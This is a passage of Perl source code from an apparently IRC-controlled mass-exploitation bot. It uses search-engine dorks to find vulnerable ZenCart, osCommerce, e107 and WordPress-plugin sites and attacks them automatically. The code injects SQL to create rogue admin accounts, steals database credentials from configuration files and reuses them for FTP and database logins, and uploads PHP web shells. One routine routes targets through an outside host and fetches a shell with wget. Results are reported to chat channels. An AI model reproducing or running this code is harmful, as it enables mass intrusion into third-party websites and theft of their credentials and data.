| 505 | my ($bug,$dork) = ("admin/sqlpatch.php/password_forgotten.php?action=execute",$1);
| |
| 506 | my $simpan = 'situs.txt'; | |
| 507 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan ZenCart di 12$path ");
| |
| 508 | &msg("$path","$zenlogo9Dork 4<9=4>15 $dork ");
| |
| 509 | &msg("$path","$zenlogo9Search Engine 4<9=4>15 Loading ");
| |
| 510 | &se_start($path,$bug,$simpan,$dork,$engine,10); | |
| 511 | } | |
| 512 | } | |
| 513 | } | |
| 514 | if ($msg =~ /^$rfgcmd\s+(.*)/) {
| |
| 515 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 516 | my ($bug,$dork) = ("apalah",$1);
| |
| 517 | my $simpan = 'situs.txt'; | |
| 518 | &msg("$chanxxx","9,1[4!9]15Lapor 4<9=4> 9$nick 15lagi scan RFG di 12$path ");
| |
| 519 | &msg("$path","$rfglogo9Dork 4<9=4>15 $dork ");
| |
| 520 | &msg("$path","$rfglogo9Search Engine 4<9=4>15 Loading ");
| |
| 521 | &se_start($path,$bug,$simpan,$dork,$engine,11); | |
| 522 | } | |
| 523 | } | |
| 524 | } | |
| 525 | if ($msg =~ /^$ftpcmd\s+(.+?)\s+(.*)\s+(.*)/) {
| |
| 526 | my $url = $_[0]; | |
| 527 | my $host = $_[1]; | |
| 528 | my $user = $_[2]; | |
| 529 | my $pass = $_[3]; | |
| 530 | if (my $pid = fork) {
| |
| 531 | waitpid($pid, 0); | |
| 532 | } else {
| |
| 533 | if (fork) { exit; } else {
| |
| 534 | my ($host,$user,$pass) = ($1,$2,$3); | |
| 535 | &msg("$path","9,1[4!9]FTP 4<9=4>15 Checking $host | $user:$pass");
| |
| 536 | my $success = 1; | |
| 537 | use Net::FTP; | |
| 538 | my $ftp = Net::FTP->new($host, Debug => 0, Timeout => 5); | |
| 539 | $success = 0 if $ftp->login($user,$pass); | |
| 540 | $ftp->quit; | |
| 541 | if ($success == 0) {
| |
| 542 | ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 9Success ");
| |
| 543 | } else {
| |
| 544 | ¬ice("$nick","15,1 [9FTP15] [ 9http://".$host." 15] [".$user.":".$pass."15] 4Denied ");
| |
| 545 | ||
| 546 | } | |
| 547 | } | |
| 548 | } | |
| 549 | } | |
| 550 | } | |
| 551 | } | |
| 552 | for(my $c=0; $c<= $#lines; $c++) {
| |
| 553 | $line = $lines[$c]; | |
| 554 | $line = $line_temp.$line if ($line_temp); | |
| 555 | $line_temp = ''; | |
| 556 | $line =~ s/\r$//; | |
| 557 | unless ($c == $#lines) {
| |
| 558 | ||
| 559 | parse("$line");
| |
| 560 | } else {
| |
| 561 | if ($#lines == 0) {
| |
| 562 | parse("$line");
| |
| 563 | } elsif ($lines[$c] =~ /\r$/) {
| |
| 564 | parse("$line");
| |
| 565 | } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
| |
| 566 | parse("$line");
| |
| 567 | } else {
| |
| 568 | $line_temp = $line; | |
| 569 | } | |
| 570 | } | |
| 571 | } | |
| 572 | } | |
| 573 | } | |
| 574 | ||
| 575 | ################################################################################## | |
| 576 | ||
| 577 | sub type() {
| |
| 578 | my ($chan,$bug,$simpan,$dork,$engine,$type) = @_; | |
| 579 | if ($type == 1){$type=&thumb_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 580 | elsif ($type == 2){$type=&whmcs_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 581 | elsif ($type == 3){$type=&lfi_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 582 | elsif ($type == 4){$type=&zero_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 583 | elsif ($type == 5){$type=&rfi_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 584 | elsif ($type == 6){$type=&xml_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 585 | elsif ($type == 7){$type=&e107_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 586 | elsif ($type == 8){$type=&ih_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 587 | elsif ($type == 9){$type=&osco_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 588 | elsif ($type == 10){$type=&zen_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 589 | elsif ($type == 11){$type=&rfg_exploit($chan,$bug,$simpan,$dork,$engine);}
| |
| 590 | } | |
| 591 | ||
| 592 | ################################################################################## | |
| 593 | ||
| 594 | sub se_start() {
| |
| 595 | my ($chan,$bug,$simpan,$dork,$engine,$type) = @_; | |
| 596 | if ($gps ==1) {
| |
| 597 | if ($engine =~ /jackae/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAE",$type); } exit; } }
| |
| 598 | if ($engine =~ /jackar/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAR",$type); } exit; } }
| |
| 599 | if ($engine =~ /jackat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAT",$type); } exit; } }
| |
| 600 | if ($engine =~ /jackau/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKAU",$type); } exit; } }
| |
| 601 | if ($engine =~ /jackbr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBR",$type); } exit; } }
| |
| 602 | if ($engine =~ /jackca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCA",$type); } exit; } }
| |
| 603 | if ($engine =~ /jackcl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCL",$type); } exit; } }
| |
| 604 | if ($engine =~ /jackcn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCN",$type); } exit; } }
| |
| 605 | if ($engine =~ /jackcom/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCoM",$type); } exit; } }
| |
| 606 | if ($engine =~ /jackcz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKCZ",$type); } exit; } }
| |
| 607 | if ($engine =~ /jackde/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDE",$type); } exit; } }
| |
| 608 | if ($engine =~ /jackdk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKDK",$type); } exit; } }
| |
| 609 | if ($engine =~ /jackes/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKES",$type); } exit; } }
| |
| 610 | if ($engine =~ /jackeu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKEU",$type); } exit; } }
| |
| 611 | if ($engine =~ /jackfr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKFR",$type); } exit; } }
| |
| 612 | if ($engine =~ /jackhu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKHU",$type); } exit; } }
| |
| 613 | if ($engine =~ /jackid/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKID",$type); } exit; } }
| |
| 614 | if ($engine =~ /jackil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIL",$type); } exit; } }
| |
| 615 | if ($engine =~ /jackin/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIN",$type); } exit; } }
| |
| 616 | if ($engine =~ /jackinfo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKInfO",$type); } exit; } }
| |
| 617 | if ($engine =~ /jackir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIR",$type); } exit; } }
| |
| 618 | if ($engine =~ /jackit/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKIT",$type); } exit; } }
| |
| 619 | if ($engine =~ /jackjp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKJP",$type); } exit; } }
| |
| 620 | if ($engine =~ /jackkr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKKR",$type); } exit; } }
| |
| 621 | if ($engine =~ /jackmx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMX",$type); } exit; } }
| |
| 622 | if ($engine =~ /jackmy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKMY",$type); } exit; } }
| |
| 623 | if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNeT",$type); } exit; } }
| |
| 624 | if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKNL",$type); } exit; } }
| |
| 625 | if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKOrG",$type); } exit; } }
| |
| 626 | if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPH",$type); } exit; } }
| |
| 627 | if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKPL",$type); } exit; } }
| |
| 628 | if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRO",$type); } exit; } }
| |
| 629 | if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKRU",$type); } exit; } }
| |
| 630 | if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKTH",$type); } exit; } }
| |
| 631 | if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUA",$type); } exit; } }
| |
| 632 | if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUK",$type); } exit; } }
| |
| 633 | if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKUS",$type); } exit; } }
| |
| 634 | if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKSI",$type); } exit; } }
| |
| 635 | if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBE",$type); } exit; } }
| |
| 636 | if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JacKBIZ",$type); } exit; } }
| |
| 637 | } | |
| 638 | if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
| |
| 639 | if ($gps2 ==1) {
| |
| 640 | if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
| |
| 641 | if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
| |
| 642 | if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
| |
| 643 | if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
| |
| 644 | if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
| |
| 645 | if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
| |
| 646 | if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
| |
| 647 | if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
| |
| 648 | if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
| |
| 649 | if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
| |
| 650 | if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
| |
| 651 | if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
| |
| 652 | if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
| |
| 653 | } | |
| 654 | } | |
| 655 | ||
| 656 | ||
| 657 | ###### EXPLOITING ####### | |
| 658 | sub rfg_exploit() {
| |
| 659 | my $chan = $_[0]; | |
| 660 | my $bugz = $_[1]; | |
| 661 | my $simpan = $_[2]; | |
| 662 | my $dork = $_[3]; | |
| 663 | my $engine = $_[4]; | |
| 664 | my $count = 0; | |
| 665 | my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$rfglogo); | |
| 666 | my $num = scalar(@totexploit); | |
| 667 | if ($num > 0){
| |
| 668 | foreach my $site(@totexploit){
| |
| 669 | $count++; | |
| 670 | if ($count == $num-1) { &msg("$chan","$rfglogo15$engine 9Finished 15for 9$dork "); }
| |
| 671 | my $test = "http://garguritos.com/rfg.php?url=http://".$site; | |
| 672 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 673 | my $html = &get_content($test); | |
| 674 | my $vpath = "wp-content/plugins/radykal-fancy-gallery/admin/"; | |
| 675 | if ($html =~ /<a href=\"http:\/\/(.*)$vpath(.*)\">Your shell/){
| |
| 676 | my $vuln = $1; my $qr = $2; | |
| 677 | my $upl = "http://".$vuln.$vpath.$qr."wget%20".$thumbshell; | |
| 678 | my $crut = &get_content($upl); | |
| 679 | if ($crut =~ /3xploit/) {
| |
| 680 | my $shell = "http://".$vuln.$vpath."bad.php"; | |
| 681 | my $check = &get_content($shell); | |
| 682 | if ($check =~ /STUNSHELL/i){
| |
| 683 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 684 | if ($check =~ m/SAFE_MODE: <b><font color=blue>(.*?)<\/font>/) {$safe = $1;}
| |
| 685 | if ($check =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
| |
| 686 | if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
| |
| 687 | &msg("$admin","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 688 | &msg("$chan","$rfglogo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 689 | } else {
| |
| 690 | &msg("$chan","$rfglogo15$engine 9<4=9>9 VulN 9<4=9>9 http://".$vuln.$vpath.$qr."15 ");
| |
| 691 | } | |
| 692 | } | |
| 693 | } | |
| 694 | } exit; } | |
| 695 | } | |
| 696 | } | |
| 697 | } | |
| 698 | ||
| 699 | sub zen_exploit() {
| |
| 700 | my $chan = $_[0]; | |
| 701 | my $bug = $_[1]; | |
| 702 | my $simpan = $_[2]; | |
| 703 | my $dork = $_[3]; | |
| 704 | my $engine = $_[4]; | |
| 705 | my $count = 0; | |
| 706 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo); | |
| 707 | my $num = scalar(@totexploit); | |
| 708 | if ($num > 0){
| |
| 709 | foreach my $site(@totexploit){
| |
| 710 | $count++; | |
| 711 | if ($count == $num-1) { &msg("$chan","$zenlogo15$engine 9Finished 15for 9$dork "); }
| |
| 712 | my $test = "http://".$site.$bug; | |
| 713 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 714 | my $html = &get_content($test); | |
| 715 | if ($html =~ /zc_install/){
| |
| 716 | &zen_query($chan,$site,$test,$engine); | |
| 717 | } | |
| 718 | } exit; } | |
| 719 | } | |
| 720 | } | |
| 721 | } | |
| 722 | ||
| 723 | sub zen_query() {
| |
| 724 | my $chan = $_[0]; | |
| 725 | my $url = $_[1]; | |
| 726 | my $test = $_[2]; | |
| 727 | my $engine = $_[3]; | |
| 728 | my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B"; | |
| 729 | my $req = HTTP::Request->new(POST => $test); | |
| 730 | $req->content_type("application/x-www-form-urlencoded");
| |
| 731 | $req->content("query_string=".$code);
| |
| 732 | my $ua = LWP::UserAgent->new(agent => $uagent); | |
| 733 | $ua->timeout(3); | |
| 734 | my $res = $ua->request($req); | |
| 735 | my $data = $res->as_string; | |
| 736 | if ( $data =~ /1 statements processed/i ) {
| |
| 737 | &msg("$chan","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
| |
| 738 | &msg("$admin","$zenlogo15$engine 4<9=4>15 VulN 4<9=4>9 http://".$url."admin/login.php ");
| |
| 739 | } | |
| 740 | elsif ( $data =~ /Duplicate entry/i ) {
| |
| 741 | &msg("$chan","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
| |
| 742 | &msg("$admin","$zenlogo15$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
| |
| 743 | } | |
| 744 | } | |
| 745 | ||
| 746 | sub osco_exploit() {
| |
| 747 | my $chan = $_[0]; | |
| 748 | my $bug = $_[1]; | |
| 749 | my $simpan = $_[2]; | |
| 750 | my $dork = $_[3]; | |
| 751 | my $engine = $_[4]; | |
| 752 | my $count = 0; | |
| 753 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$oscologo); | |
| 754 | my $num = scalar(@totexploit); | |
| 755 | if ($num > 0){
| |
| 756 | foreach my $site(@totexploit){
| |
| 757 | $count++; | |
| 758 | if ($count == $num-1) { &msg("$chan","$oscologo15$engine 9Finished 15for 9$dork "); }
| |
| 759 | my $cat = "http://".$site."admin/categories.php/login.php"; | |
| 760 | my $fm = "http://".$site."admin/file_manager.php/login.php"; | |
| 761 | my $bm = "http://".$site."admin/banner_manager.php/login.php"; | |
| 762 | my $shell = "http://".$site."images/lobex.php"; | |
| 763 | my $dumper = "http://".$site."images/lobexdb.php"; | |
| 764 | if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
| |
| 765 | my $coba = &get_content($cat);sleep(1); | |
| 766 | my $cob2 = &get_content($fm);sleep(1); | |
| 767 | my $cob3 = &get_content($bm);sleep(1); | |
| 768 | if ($coba =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/i ) {
| |
| 769 | my $test = $cat."?action=download&filename=/includes/configure.php"; | |
| 770 | my $cek = &get_content($test); | |
| 771 | if ($cek =~ /http:\/\//) {
| |
| 772 | &osql_xpl($test,$chan,$site,$engine); | |
| 773 | } | |
| 774 | my $aplod = LWP::UserAgent->new; | |
| 775 | my $res = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res->as_string; | |
| 776 | my $resa = $aplod->post($cat."?cPath=&action=new_product_preview",['products_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resa->as_string; | |
| 777 | my $cekap = &get_content($shell); | |
| 778 | if ($cekap =~ /UnKnown - Simple Shell/) {
| |
| 779 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 780 | if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
| |
| 781 | if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
| |
| 782 | if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
| |
| 783 | &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 784 | &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 ".$shell."15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 785 | &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
| |
| 786 | } | |
| 787 | } | |
| 788 | if ($cob2 =~ /TABLE_HEADING_FILENAME/i) {
| |
| 789 | my $test2 = $fm."?action=download&filename=/includes/configure.php"; | |
| 790 | my $cek2 = &get_content($test2); | |
| 791 | if ($cek2 =~ /http:\/\//) {
| |
| 792 | &osql_xpl($test2,$chan,$site,$engine); | |
| 793 | } | |
| 794 | my $aplod2 = LWP::UserAgent->new; | |
| 795 | my $res2 = $aplod2->post($fm."?action=processuploads",['file_1' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res2->as_string; | |
| 796 | my $resb = $aplod2->post($fm."?action=processuploads",['file_1' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resb->as_string; | |
| 797 | my $cekap = &get_content($shell); | |
| 798 | if ($cekap =~ /UnKnown - Simple Shell/) {
| |
| 799 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 800 | if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
| |
| 801 | if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
| |
| 802 | if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
| |
| 803 | &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 804 | &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 805 | &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
| |
| 806 | } | |
| 807 | } | |
| 808 | if ($cob3 =~ /TABLE_HEADING_BANNERS/i) {
| |
| 809 | my $test3 = $bm."?action=download&filename=/includes/configure.php"; | |
| 810 | my $cek3 = &get_content($test3); | |
| 811 | if ($cek3 =~ /http:\/\//) {
| |
| 812 | &osql_xpl($test3,$chan,$site,$engine); | |
| 813 | } | |
| 814 | my $aplod3 = LWP::UserAgent->new; | |
| 815 | my $res3 = $aplod3->post($bm."?action=insert",['banners_image' => ['./lobex.jpg' => 'lobex.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $res3->as_string; | |
| 816 | my $resc = $aplod3->post($bm."?action=insert",['banners_image' => ['./mysql.jpg' => 'lobexdb.php' => 'application/octet-stream']],'Content-Type' => 'form-data'); $resc->as_string; | |
| 817 | my $cekap = &get_content($shell); | |
| 818 | if ($cekap =~ /UnKnown - Simple Shell/) {
| |
| 819 | my $safe = ""; my $os = ""; my $uid = ""; | |
| 820 | if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
| |
| 821 | if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
| |
| 822 | if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
| |
| 823 | &msg("$chan","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 824 | &msg("$admin","$oscologo15$engine 9<4=9>9 sHeLL 9<4=9>9 $shell15 (SafeMode=$safe) (OS=$os) uid=$uid ");
| |
| 825 | &msg("$chan","$oscologo15$engine 9<4=9>9 Dumper 9<4=9>9 $dumper ");sleep(1);
| |
| 826 | } | |
| 827 | } | |
| 828 | } exit; | |
| 829 | } | |
| 830 | } | |
| 831 | } | |
| 832 | } | |
| 833 | ||
| 834 | sub osql_xpl() {
| |
| 835 | my $url = $_[0]; | |
| 836 | my $chan = $_[1]; | |
| 837 | my $site = $_[2]; | |
| 838 | my $engine = $_[3]; | |
| 839 | my $request = HTTP::Request->new(GET=>$url); | |
| 840 | my $browser = LWP::UserAgent->new(); | |
| 841 | $browser->timeout(10); | |
| 842 | my $response = $browser->request($request); | |
| 843 | my @dbsinfo; | |
| 844 | if ($response->is_success) {
| |
| 845 | my $dpath = ""; my $dbserver = ""; my $dbuser = ""; my $dbpass = ""; my $dbname = ""; | |
| 846 | my $res = $response->as_string; | |
| 847 | if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
| |
| 848 | $dpath = $1; | |
| 849 | &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DIR path: 4 $dpath");
| |
| 850 | } | |
| 851 | if ($res =~ m/'DB_SERVER', '(.*)'/g) {
| |
| 852 | $dbserver = $1; | |
| 853 | &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB Server: 4 $dbserver");
| |
| 854 | } | |
| 855 | if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
| |
| 856 | $dbuser = $1; | |
| 857 | &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB username: 4 $dbuser");
| |
| 858 | } | |
| 859 | if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
| |
| 860 | $dbpass = $1; | |
| 861 | &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB password: 4 $dbpass");
| |
| 862 | } | |
| 863 | if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
| |
| 864 | $dbname = $1; | |
| 865 | &msg("$chan","$oscosqllogo15$engine 4<9=4>9 http://".$site." 15[+]DB database: 4 $dbname");
| |
| 866 | } | |
| 867 | my $hosts = "http://".$site; | |
| 868 | if($hosts =~ /([^:]*:\/\/)?([^\/]+\.[^\/]+)/g) {
| |
| 869 | $host = $2; | |
| 870 | &dbi_connect($host,$dbuser,$dbpass,$dbname,$chan,$engine,$oscologo);sleep(1); | |
| 871 | if ($dbuser =~ /_/) { my @users = split("_",$dbuser); my $dbuser = $users[0]; }
| |
| 872 | &ftp_connect($url,$host,$dbuser,$dbpass,$chan,$engine,$oscologo);sleep(1); | |
| 873 | } | |
| 874 | } | |
| 875 | } | |
| 876 | ||
| 877 | sub e107_exploit() {
| |
| 878 | my $chan = $_[0]; | |
| 879 | my $bug = $_[1]; | |
| 880 | my $simpan = $_[2]; | |
| 881 | my $dork = $_[3]; | |
| 882 | my $engine = $_[4]; | |
| 883 | my $count = 0; | |
| 884 | my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo); | |
| 885 | my $num = scalar(@totexploit); | |
| 886 | if ($num > 0){
| |
| 887 | foreach my $site(@totexploit){
| |
| 888 | $count++; | |
| 889 | if ($count == $num-1) { &msg("$chan","$e107logo15$engine 9Finished 15for 9$dork "); }
| |
| 890 | my $test = "http://".$site.$bug; | |
| 891 | my $shellz = "http://".$site."/images/lobex.php"; | |
